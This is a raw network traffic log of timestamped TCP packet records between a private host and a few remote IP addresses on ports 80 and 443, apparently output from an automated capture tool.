Nov 24, 2024 00:06:48.992208958 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.992208958 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.993038893 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.993115902 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.993153095 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.993197918 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.994024992 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.994076014 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.994183064 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.994262934 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.995048046 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.995110989 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.995198011 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.995254993 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.996041059 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.996154070 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.996157885 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.996191025 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.997034073 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.997091055 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.997128963 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.997179985 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.998034000 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.998089075 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.998157024 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.998205900 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.999030113 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.999102116 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:48.999138117 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:48.999186039 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.000009060 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.000094891 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.000113964 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.000336885 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.000998020 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.001138926 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.001143932 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.001190901 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.002012968 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.002115011 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.002146006 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.002178907 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.003016949 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.003072977 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.003137112 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.003185034 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.003993034 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.004051924 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.004091978 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.004230022 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.004983902 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.005079985 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.005126953 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.005974054 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.006021023 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.006095886 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.006172895 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.006974936 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.007025957 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.007091999 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.007142067 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.007972002 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.008013010 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.008064032 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.008955002 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.009027004 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.009030104 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.009074926 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.009960890 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.010010004 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.010065079 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.010111094 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.010977983 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.011023045 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.011071920 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.011249065 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.012006998 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.012065887 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.012100935 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.012145042 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.012957096 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.013009071 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.013052940 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.013139963 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.013921976 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.013967991 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.014027119 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.014071941 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.014935017 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.014981985 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.015045881 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.015096903 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.015928030 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.016046047 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.016066074 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.016082048 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.016922951 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.016974926 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.017003059 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.017046928 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.193161011 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.193232059 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.193309069 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.193356037 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.193572044 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.193686008 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.193691015 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.193739891 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.194433928 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.194489002 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.194509029 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.194549084 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.195301056 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.195349932 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.213696957 CET	443	49875	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.213773012 CET	443	49875	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.213844061 CET	49875	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.214118004 CET	49875	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.214134932 CET	443	49875	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.217140913 CET	49882	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.217175961 CET	443	49882	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.217380047 CET	49882	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.219505072 CET	443	49876	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.219589949 CET	443	49876	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.219654083 CET	49876	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.224414110 CET	49882	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.224426985 CET	443	49882	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.236319065 CET	49876	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.236332893 CET	443	49876	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.236344099 CET	49876	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.236350060 CET	443	49876	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.244177103 CET	49883	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.244235039 CET	443	49883	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.244299889 CET	49883	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.244489908 CET	49883	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.244503975 CET	443	49883	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.262922049 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.263010025 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.263040066 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.263084888 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.263281107 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.263348103 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.263483047 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.263542891 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.263632059 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.263676882 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.264352083 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.264413118 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.264497995 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.264559031 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.265217066 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.265264034 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.265332937 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.265511036 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.266097069 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.266156912 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.266227007 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.266273022 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.267014027 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.267076969 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.267113924 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.267219067 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.267867088 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.267930984 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.268011093 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.268146992 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.268739939 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.268809080 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.268889904 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.268944025 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.269625902 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.269707918 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.269715071 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.269835949 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.270502090 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.270565033 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.270611048 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.270771980 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.271368027 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.271460056 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.271485090 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.271531105 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.272254944 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.272329092 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.272370100 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.272480011 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.273117065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.273205996 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.273241997 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.273282051 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.274012089 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.274075031 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.274111986 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.274158001 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.274930000 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.274993896 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.275037050 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.275084972 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.275768995 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.275821924 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.275860071 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.275912046 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.276621103 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.276694059 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.276730061 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.276922941 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.277509928 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.277576923 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.277606964 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.277652979 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.278387070 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.278434038 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.278475046 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.278676987 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.279264927 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.279352903 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.279464006 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.279506922 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.280149937 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.280203104 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.280242920 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.280287027 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.281021118 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.281125069 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.281174898 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.281913996 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.281976938 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.282011986 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.282053947 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.282793045 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.282869101 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.282924891 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.283679962 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.283761024 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.283797979 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.283895969 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.284531116 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.284600019 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.284635067 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.284677029 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.285424948 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.285476923 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.285518885 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.285566092 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.286283970 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.286329985 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.286367893 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.286592007 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.287163973 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.287209988 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.287272930 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.287333965 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.288048029 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.288099051 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.288160086 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.288259029 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.288923979 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.288973093 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.289009094 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.289056063 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.327409983 CET	443	49877	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.327539921 CET	443	49877	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.327594042 CET	49877	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.336189032 CET	49877	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.336224079 CET	443	49877	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.336236954 CET	49877	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.336244106 CET	443	49877	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.366671085 CET	49884	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.366764069 CET	443	49884	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.366847038 CET	49884	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.373928070 CET	49884	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.373981953 CET	443	49884	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.385324955 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.421545982 CET	443	49878	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.469321966 CET	49878	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.504869938 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.731854916 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:49.788299084 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:49.788938999 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:49.829524994 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:49.836379051 CET	49878	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.836410046 CET	443	49878	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.836931944 CET	49878	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:49.836936951 CET	443	49878	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:49.853383064 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.853404999 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.853440046 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.853502035 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.853804111 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.853844881 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.853965044 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.854002953 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.854675055 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.854779005 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.854785919 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.854809046 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.855555058 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.855593920 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.855670929 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.855720997 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.856410027 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.856451988 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.856515884 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.856558084 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.857283115 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.857323885 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.857383013 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.857418060 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.858192921 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.858242989 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.858279943 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.858319998 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.859087944 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.859142065 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.859205008 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.859272003 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.859915018 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.859977007 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.860008001 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.860042095 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.860788107 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.860893965 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.860913992 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.860972881 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.861655951 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.861699104 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.861773968 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.861931086 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.862555027 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.862646103 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.862653971 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.862683058 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.863426924 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.863466978 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.863504887 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.863539934 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.864370108 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.864408970 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.864425898 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.864442110 CET	49818	80	192.168.2.6	185.215.113.206
